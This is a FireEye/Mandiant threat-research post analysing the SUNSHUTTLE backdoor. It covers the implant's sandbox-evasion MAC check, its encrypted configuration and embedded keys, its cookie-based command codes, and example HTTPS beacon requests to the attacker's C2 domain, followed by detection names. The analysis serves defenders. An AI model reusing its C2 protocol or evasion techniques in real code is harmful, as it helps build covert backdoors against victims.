New SUNSHUTTLE Second-Stage Backdoor Uncovered Targeting U.S.-Based Entity; Possible Connection to UNC2452

fireeye.com/blog/threat-research/2021/03/sunshuttle-second-stage-backdoor-targeting-us-based-entity.html

Breadcrumb

Threat Research

Lindsay Smith, Jonathan Leathery, Ben Read

Mar 04, 2021

9 mins read

Malware

Threat Research

Uncategorized Groups (UNC Groups)

Executive Summary

- In August 2020, a U.S.-based entity uploaded a new backdoor that we have named SUNSHUTTLE to a public malware repository.
- SUNSHUTTLE is a second-stage backdoor written in GoLang that features some detection evasion capabilities.
- Mandiant observed SUNSHUTTLE at a victim compromised by UNC2452, and have indications that it is linked to UNC2452, but we have not fully verified this connection.
- Please see the Technical Annex for relevant MITRE ATT&CK techniques (T1027, T1027.002, T1059.003, T1071.001, T1105, T1140, T1573.001).

The activity discussed in this blog post is also detailed in a Microsoft blog post. We thank the team at Microsoft and other partners for their great collaboration in tracking this actor.

Threat Detail

Mandiant Threat Intelligence discovered a new backdoor uploaded by a U.S.-based entity to a public malware repository in August 2020 that we have named SUNSHUTTLE. SUNSHUTTLE is written in GO, and reads an embedded or local configuration file, communicates with a hard-coded command and control (C2) server over HTTPS, and supports commands including remotely uploading its configuration, file upload and download, and arbitrary command execution. Notably, SUNSHUTTLE uses cookie headers to pass values to the C2, and if configured, can select referrers from a list of popular website URLs to help such network traffic "blend in."

- The SUNSHUTTLE backdoor file examined, "Lexicon.exe" (MD5: 9466c865f7498a35e4e1a8f48ef1dffd), was written in GoLang. The file unpacks into MD5: 86e89349fefcbdd9d2c80ca30fa85511.
- The infection vector for SUNSHUTTLE is not known. It is most likely a second-stage backdoor dropped after an initial compromise.
- The SUNSHUTTLE sample uses the actor-controlled server "reyweb[.]com" for C2. "Reyweb[.]com" is registered anonymously via NameSilo, a domain provider who accepts bitcoin payment and has been used for C2 registration by state-sponsored APTs in the past, including Russia-nexus actors and Iran-nexus APTs

Mandiant observed SUNSHUTTLE at a victim compromised by UNC2452, and have indications that it is linked to UNC2452, but we have not fully verified this connection.

Please see FireEye's resource center for background on UNC2452 and the SUNBURST campaign.

Outlook and Implications

The new SUNSHUTTLE backdoor is a sophisticated second-stage backdoor that demonstrates straightforward but elegant detection evasion techniques via its "blend-in" traffic capabilities for C2 communications. SUNSHUTTLE would function as second-stage backdoor in such a compromise for conducting network reconnaissance alongside other SUNBURST-related tools.

Technical Annex

Mandiant Threat Intelligence discovered a sample of the SUNSHUTTLE backdoor uploaded to an online multi-Antivirus scan service. SUNSHUTTLE is a backdoor, written in GO, that reads an embedded or local configuration file, communicates with its C2 server over HTTPS and supports commands including remotely updating its configuration, file upload and download, and arbitrary command execution.

- Lexicon.exe (MD5: 9466c865f7498a35e4e1a8f48ef1dffd)
    - C2: reyweb[.]com
    - UNAVAILABLE (MD5: 86e89349fefcbdd9d2c80ca30fa85511)
        - Unpacked version of 9466c865f7498a35e4e1a8f48ef1dffd

Infection Vector

For the samples analyzed, the infection vector is not known.

Execution

Execution Summary

SUNSHUTTLE is a backdoor written in GoLang. Once SUNSHUTTLE is executed, a high-level description of the execution is the following:

- Configuration settings determined
- Request a “session key” from the C2
- Retrieve the “session key” from the C2
    - Once a session key is retrieved, SUNSHUTTLE begins command request beaconing loop
- Begin command request beaconing
- Resolve command and perform action

The SUNSHUTTLE sample analyzed retains the names of the routines used by the malware, which include the following:

main.request_session_key
main.define_internal_settings
main.send_file_part
main.clean_file
main.send_command_result
main.retrieve_session_key
main.save_internal_settings
main.resolve_command

main.write_file
main.beaconing
main.wget_file
main.fileExists
main.encrypt
main.decrypt
main.random
main.removeBase64Padding
main.addBase64Padding
main.delete_empty
main.Unpad
main.GetMD5Hash
main.Pad

Note: Throughout the SUNSHUTTLE backdoor, unique string identifiers are used to indicate the operation being performed to the C2 via a Cookie header, and unique string identifiers are also used to validate and parse response content from the C2. These unique string values are thought to be unique and random per compiled sample.

Initial Execution

Once executed, the SUNSHUTTLE backdoor enumerates the victim's MAC address and compares it to a hardcoded MAC address value "c8:27:cc:c2:37:5a". If a match is found the backdoor exits. The MAC address is likely a default MAC address for the Windows sandbox network adapter.

Mac address check

Figure 1: Mac address check

Configuration

If the check is successful, the SUNSHUTTLE backdoor then enters a routine named “main_define_internal_settings”, which handles creation of the configuration file if one doesn’t already exist in the directory from which SUNSHUTTLE is running. For the sample analyzed, the configuration filename is “config.dat.tmp”. The configuration data is Base64 encoded and AES-256 encrypted using the following key:

hz8l2fnpvp71ujfy8rht6b0smouvp9k8

The configuration has the following example values when Base64 decoded and AES decrypted:

48b9e25491e088a35105274cae0b9e67|5-15|0|0|TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NDsgcnY6NzUuMCkgR2Vja28vMjAxMDAxMDEgRmlyZWZveC83NS4w

The configuration holds several values delimited by a “|” character, which are briefly described as follows.

- 48b9e25491e088a35105274cae0b9e67
  MD5 hash of the current timestamp calculated during execution.
- 5-15
  Lower/upper limits used to randomly generate sleep times as SUNSHUTTLE executes
- 0
  0 or 1 — Utilize “blend-in” traffic requests. Internally called “false_requesting”
- 0
  Activate execution timestamp (0 by default) — execution "activates" or continues if current time is greater than the value in the configuration
- TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NDsgcnY6NzUuMCkgR2Vja28vMjAxMDAxMDEgRmlyZWZveC83NS4w
  - Base64-encoded User-agent used in HTTPS requests
  - Decoded: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0

If set in the configuration, the “blend-in” traffic occurs as the malware executes and transitions through its routines. The following URLs are leveraged for the “blend-in” requests:

- https://reyweb[.]com/icon.ico
- https://reyweb[.]com/icon.png
- https://reyweb[.]com/script.js
- https://reyweb[.]com/style.css
- https://reyweb[.]com/css/style.css
- https://reyweb[.]com/css/bootstrap.css
- https://reyweb[.]com/scripts/jquery.js
- https://reyweb[.]com/scripts/bootstrap.js
- https://cdn.mxpnl[.]com/
- https://cdn.google[.]com/
- https://cdn.jquery[.]com/
- https://code.jquery[.]com/
- https://cdn.cloudflare[.]com/

Session Key Mechanism

SUNSHUTTLE performs initial requests to the C2 in order to request and then retrieve what it internally refers to as a session key. The retrieved session key from the C2 appears to be RSA decrypted using the following private key that is embedded in SUNSHUTTLE and believed to be unique per compiled sample. Analysis is on-going on how the decrypted session key is used, but it is likely a session key used to encrypt content once SUNSHUTTLE transitions to its command-and-control routines.

```
          -----BEGIN PRIVATE KEY-----
MIIEowIBAAKCAQEA0Aj/3K3m/rKNESwUfHC9qAhnsNYA9bJ4HQ30DPsfPDvbbHZm
Uj5nyp2abjYZYMQbWa2+ZO4Ixgfdm0FzsAH/haKIN4sSkbw+YRESYW35MnMI3Adf
mj/eK/yKNblyoe/7iWP3nz+y4Q/QI0L6BrF7VodTaDYtDup3iI+B5zjmhElf9Fmg
S1JiDUgydz5VXJR/esv6hB7GMfEb/3sIAzv5qcwEvGK5HH1EzQ7zjauyhbsF9pHR
zCFYIvW4OtaU0o3xjVufo5UwYRS5p/EFpof45zuJGLJ02cKUmxc0OX53t3Bn9WXY
aDDhYp/RPzywG8N9gTBv8rKxRIsFxxKu+8wK+QIDAQABAoIBAGe4hPDe13OXTBQK
```

```
uTAN+dEkV6ZoHFRjpdU+IrY+IiWi5lSed4d7y73OdCeM23xOaiB9KpchwsgRNeDp
cieH54EWNvoSYbC9fRBiNZrT/NG1Xu5s0rKSM1AU+kes7UVl5DBs4hHI7YOeobRi
+UuLA6ZxlBk6IZ71MaGpgyfoS64aDMvZDtcaTEGzw6dRQAU9255DTIc2YYbq8MqL
zSafD5eBDH3IzmbIg0kXiidec1A1sytz5u8xW4XckHfp4xePLVw/RvLJGqNJMK5M
7tXAFwPzg+u4k7ce7uNw9VWW7n28T9xznUux1gtPQj1N6goDaBaOqY+h0ia9F1RP
wu6ZtG0CgYEA8vCFmAGmMz4vjO04ELyPnvnaS6CReYCVzmvNugIDlxBLDGCnKBVx
et7qEk3gMkbtcDUOZpXQAIVCWQNupAhI0t5bb/Pfw3HtH3Xt5NRUYmwxTgNRe06D
i4ICsg2+8TDinjne9hzsEe9DYE2WRrtLMJ+IPD+QE94J3Sei03k1wpMCgYEA2zga
Tff6jQeNn9G0ipHa1DvJmi98px51o0r7TUfZRxJfgg4ckyMsZUHKALrZszKAnxP7
MXYrJuOHpsp0EZc1e3uTjFzrKyKRTQ78c7MNGv07w1PlZuNLtkoqepUjkQzdxKZO
g9gG0O4IC5jjnSg8jUSChhZn+jrU8Vx7ByOP98MCgYAWi5+6RZzo8IJ1L6aeVwF1
HXbWweX+QqKkb3i+JGW05Twxv96DZ8oKPxm17Sg7Qj3Sxfm6J3kQM02++QSRkHtB
poUR1K4Vc0MwQj97lwDlyWih9sjfCqBGmCAr6f6oX4MIcBJzAKgf2faEv26MzeDi
eEuqW7PBRD/iGEWSHpOQpQKBgQDRgV+aTjk0mRhfugHKQLSbCnyUj3eZG8IfiiR7
agQcKVH/sE7cy8u9Bc/xPKGb4dMMtQLm9WEuLFtTKr8cpJ8nYSXVCmRx9/pXY9Af
HuqSdZutBDwERYvxLhZEys2P7XTwYGQ/GrEA8eeTms1FP9QGyofXcAh1G86w0Mp/
Oxx3EwKBgHXxgQa4/ngTlMNhWP+IvHOIOVAxDK2GL3XQdr8fudZe9c1d7VzIbYj6
gbwLT9qi0wG5FAWqH163XucAirT6WCtAJ3tK0lfbS7oWJ7L/Vh1+vOe6jfS/nQna
Ao2QPbN8RiltHeaAq0ZfrgwrQuP5fmigmBa5lOWID/eU2OLIvJGi
-----END PRIVATE KEY---
```

After the configuration is created or read from, SUNSHUTTLE enters a routine named “main_request_session_key”. The malware will iterate over this routine until it’s successful, sleeping a period of time after each iteration.

Inside the “main_request_session_key” routine, SUNSHUTTLE constructs an HTTPS request to its configured C2. Upon an HTTP 200 response from the request, the response data from the C2 is expected to not contain the following string for the sample analyzed:

```
ywQdjLuHHC
```

The request_session_key routine returns a 1 if the string is not in the response and a -1 if it is in the response. If the result of the request_session_key is 1, SUNSHUTTLE will execute the retrieve_session_key routine.

The retrieve_session_key routine again contacts the C2 and downloads content that is expected to be decrypted by the aforementioned embedded private key. The decrypted content is likely a session key used to encrypt content once SUNSHUTTLE transitions to its command-and-control routines.

Commanding

Once a session key is retrieved from the C2, SUNSHUTTLE begins the beaconing and “resolve_command” routines in a loop. SUNSHUTTLE first issues a beacon to retrieve a command. After, SUNSHUTTLE will enter the routine “resolve_command”, which parses the response content to determine which command should be run. Available commands include remotely updating its configuration, file upload and download, and arbitrary command execution.

Resolve command graph

Figure 2:

Resolve command graph

The content returned from the C2 after the “main_beaconing” routine is Base64 decoded and AES decrypted. A check is performed to ensure the decrypted content doesn’t contain the following string:

> Cp5RTQ31R1

As noted, it is likely these strings are unique per sample and randomly generated at compilation.

The decrypted content is parsed for certain unique strings.

Unique string in decrypted response	Meaning
zSsP2TSJJm3a	Update sleep range — save config
aQJmWJzXdYK721mGBI3U	Update “false requesting” value – save config
W5VYP9Iu2uyHK	Update C2 URL and User-agent – save config

3487wD9t2OZkvqdwRpqPeE	Send current timestamp to C2
ubFxROBRwfswVRWNjLC	Update "activation" timestamp in the config — save config
TMuhGdA9EHY	Upload file to C2 if the file exists
1kG4NaRX83BCMgLo38Bjq	Execute command – return “EXECED” if successful
hB0upT6CUmdRaR2KVBvxrJ	Execute command – return results/output
N/A (other string criteria met)	Provides terminal command execution
N/A (other string criteria met)	Download file from C2

Files Dropped

After successful execution of the malware, it drops the following files to the victim’s system:

<current_directory>\config.dat.tmp (MD5: Dynamic)
Encrypted configuration file

Persistence Method

The SUNSHUTTLE malware was not observed setting its own persistence. It is likely the persistence is set outside of the execution of SUNSHUTTLE.

Network Communications

SUNSHUTTLE uses the cookie header to pass values to the C2. Additionally, a referrer is selected from the following list, presumably to make the traffic blend in if traffic is being decrypted for inspection:

The cookie headers vary slightly depending on the operation being performed. The following is an example request to the C2 from the “request_session_key” routine.

Victim to C2

```
GET /assets/index.php HTTP/1.1
Host: reyweb[.]com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: HjELmFxKJc=48b9e25491e088a35105274cae0b9e67; P5hCrabkKf=gZLXIeKI;
iN678zYrXMJZ=i4zICToyI70Yeidf1f7rWjm5foKX2Usx; b7XCoFSvs1YRW=78
Referer: www.facebook.com
Accept-Encoding: gzip
```

Within the Cookie header, these values represent the following:

- **HjELmFxKJc=48b9e25491e088a35105274cae0b9e67**
  Timestamp MD5 contained within the configuration
- **P5hCrabkKf=gZLXIeKI**
  "P5hCrabkKf=" contains a unique string based on which routine is performing the request (see the following table).
- **iN678zYrXMJZ=i4zICToyI70Yeidf1f7rWjm5foKX2Usx**
  "i4zICToyI70Yeidf1f7rWjm5foKX2Usx" is hard coded within the SUNSHUTTLE backdoor. It possibly represents a payload identifier
- **b7XCoFSvs1YRW=78**
  Unknown purpose. This value is only included in request_session_key and retrieve_session_key requests.

As mentioned, the cookie value "P5hCrabkKf=" contained in each request signifies the operation that is being performed.

"P5hCrabkKf=" Cookie Value	Meaning
gZLXIeK	main_request_session_key
do1KiqzhQ	main_clean_file
t5UITQ2PdFg5	main_wget_file
clHiqD5p4da6OeB	main_retrieve_session_key
xpjQVt3bJzWuv	main_send_file_part
S4rgG1WifHU	main_send_command_result

After successful installation / initialization of the malware, it proceeds to make the following callback to the C2 server reyweb[.]com via TCP/443 HTTPS:

Victim to C2

```
GET /assets/index.php HTTP/1.1
Host: reyweb[.]com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: HjELmFxKJc=48b9e25491e088a35105274cae0b9e67; P5hCrabkKf=gZLXIeKI;
iN678zYrXMJZ=i4zICToyI70Yeidf1f7rWjm5foKX2Usx; b7XCoFSvs1YRW=78
Referer: www.facebook.com
Accept-Encoding: gzip
```

Victim to C2

```
GET /assets/index.php HTTP/1.1
Host: reyweb[.]com
```

```
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: HjELmFxKJc=48b9e25491e088a35105274cae0b9e67; P5hCrabkKf=gZLXIeKI; iN678zYrXMJZ=i4zICToyI70Yeidf1f7rWjm5foKX2Usx; b7XCoFSvs1YRW=78
Referer: www.yahoo.com
Accept-Encoding: gzip
```

Additionally, if the “fake_requesting” configuration value is set to 1, SUNSHUTTLE will generate traffic meant to blend in with real traffic. Examples of those requests are as follows:

Victim to C2

```
GET /icon.png HTTP/1.1
Host: reyweb[.]com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Referer: www.google.com
Accept-Encoding: gzip
```

Victim to C2

```
GET /css/style.css HTTP/1.1
Host: reyweb[.]com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Referer: www.facebook.com
Accept-Encoding: gzip
```

Victim to C2

```
GET /css/bootstrap.css HTTP/1.1
Host: reyweb[.]com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Referer: www.facebook.com
Accept-Encoding: gzip
```

Victim to Legitimate

```
GET / HTTP/1.1
Host: cdn.cloudflare[.]com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Referer: www.google.com
Accept-Encoding: gzip
```

Appendix: MITRE ATT&CK Framework

Technique	Description
T1027	Obfuscated Files or Information
T1027.002	Software Packing
T1059.003	Windows Command Shell

T1071.001	Web Protocols
T1105	Ingress Tool Transfer
T1140	Deobfuscate/Decode Files or Information
T1573.001	Symmetric Cryptography

Appendix: Detecting the Techniques

FireEye security solutions provide detection of the SUNSHUTTLE activity across email, endpoint and network levels. The following is a snapshot of existing detections related to activity outlined in this blog post.

Platform(s)	**Detection Name**
• Network Security • Email Security • Detection On Demand • Malware File Scanning • Malware File Storage Scanning	• FE_APT_Backdoor_Win64_SUNSHUTTLE_1 • FE_APT_Backdoor_Win_SUNSHUTTLE_1 • APT.Backdoor.Win.SUNSHUTTLE • APT.Backdoor.Win.SUNSHUTTLE.MVX
Endpoint Security	**Malware Protection (AV/MG)** • Trojan.GenericKD.34453763 • Generic.mg.9466c865f7498a35